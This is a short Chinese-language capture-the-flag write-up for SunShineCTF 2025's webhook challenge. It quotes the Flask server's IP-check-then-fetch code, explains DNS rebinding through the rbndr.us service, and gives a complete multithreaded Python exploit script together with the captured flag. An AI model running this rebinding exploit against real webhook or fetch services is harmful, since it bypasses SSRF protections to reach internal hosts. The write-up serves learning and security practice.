文章

SunShineCTF 2025

没啥意思,写了个白盒就润了

Intergalactic Webhook Service

dns重绑定攻击

@app.route('/register', methods=['POST'])
def register_webhook():
    url = request.form.get('url')
    if not url:
        abort(400, 'Missing url parameter')
    allowed, reason = is_ip_allowed(url)
    if not allowed:
        return reason, 400
    webhook_id = str(uuid.uuid4())
    registered_webhooks[webhook_id] = url
    return jsonify({'status': 'registered', 'url': url, 'id': webhook_id}), 200

先检验了URL解析后是否符合if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local or ip_obj.is_reserved:

然后才post

@app.route('/trigger', methods=['POST'])
def trigger_webhook():
    webhook_id = request.form.get('id')
    if not webhook_id:
        abort(400, 'Missing webhook id')
    url = registered_webhooks.get(webhook_id)
    if not url:
        return jsonify({'error': 'Webhook not found'}), 404
    allowed, reason = is_ip_allowed(url)
    if not allowed:
        return jsonify({'error': reason}), 400
    try:
        resp = requests.post(url, timeout=5, allow_redirects=False)
        return jsonify({'url': url, 'status': resp.status_code, 'response': resp.text}), resp.status_code
    except Exception:
        return jsonify({'url': url, 'error': 'something went wrong'}), 500

只要设置dns的TTL为0,下一次解析为127.0.0.1即可

找到一个好用的dns rebinding工具

rbndr.us dns rebinding service

这个会随机解析为A和B的IP

import requests
import time
import threading
from concurrent.futures import ThreadPoolExecutor

CHALLENGE_URL = "<https://supernova.sunshinectf.games>"
REBIND_DOMAIN = "08080808.7f000001.rbndr.us"
TARGET_PORT = 5001
TARGET_PATH = "/flag"

NUM_THREADS = 100
found_flag_event = threading.Event()
attempt_counter = 0
counter_lock = threading.Lock()

def run_attack():
    global attempt_counter
    if found_flag_event.is_set():
        return
    with counter_lock:
        attempt_counter += 1
        current_attempt = attempt_counter
    session = requests.Session()
    webhook_url = f"http://{REBIND_DOMAIN}:{TARGET_PORT}{TARGET_PATH}"

    try:
        register_payload = {'url': webhook_url}
        reg_response = session.post(f"{CHALLENGE_URL}/register", data=register_payload, timeout=5)
        if reg_response.status_code != 200:
            return

        webhook_id = reg_response.json().get('id')
        if not webhook_id:
            return
        trigger_payload = {'id': webhook_id}
        trig_response = session.post(f"{CHALLENGE_URL}/trigger", data=trigger_payload, timeout=10)
        
        response_text = trig_response.text
        if "sun{" in response_text:
            print(response_text)
            found_flag_event.set()

    except requests.exceptions.RequestException:
        pass

if __name__ == "__main__":
    with ThreadPoolExecutor(max_workers=NUM_THREADS) as executor:
        while not found_flag_event.is_set():
            try:
                executor.submit(run_attack)
                time.sleep(0.01)
            except KeyboardInterrupt:
                found_flag_event.set()
                break

{"response":"sun{dns_r3b1nd1ng_1s_sup3r_c00l!_ff4bd67cd1}","status":200,"url":"<http://08080808.7f000001.rbndr.us:5001/flag>"}

许可协议:  CC BY 4.0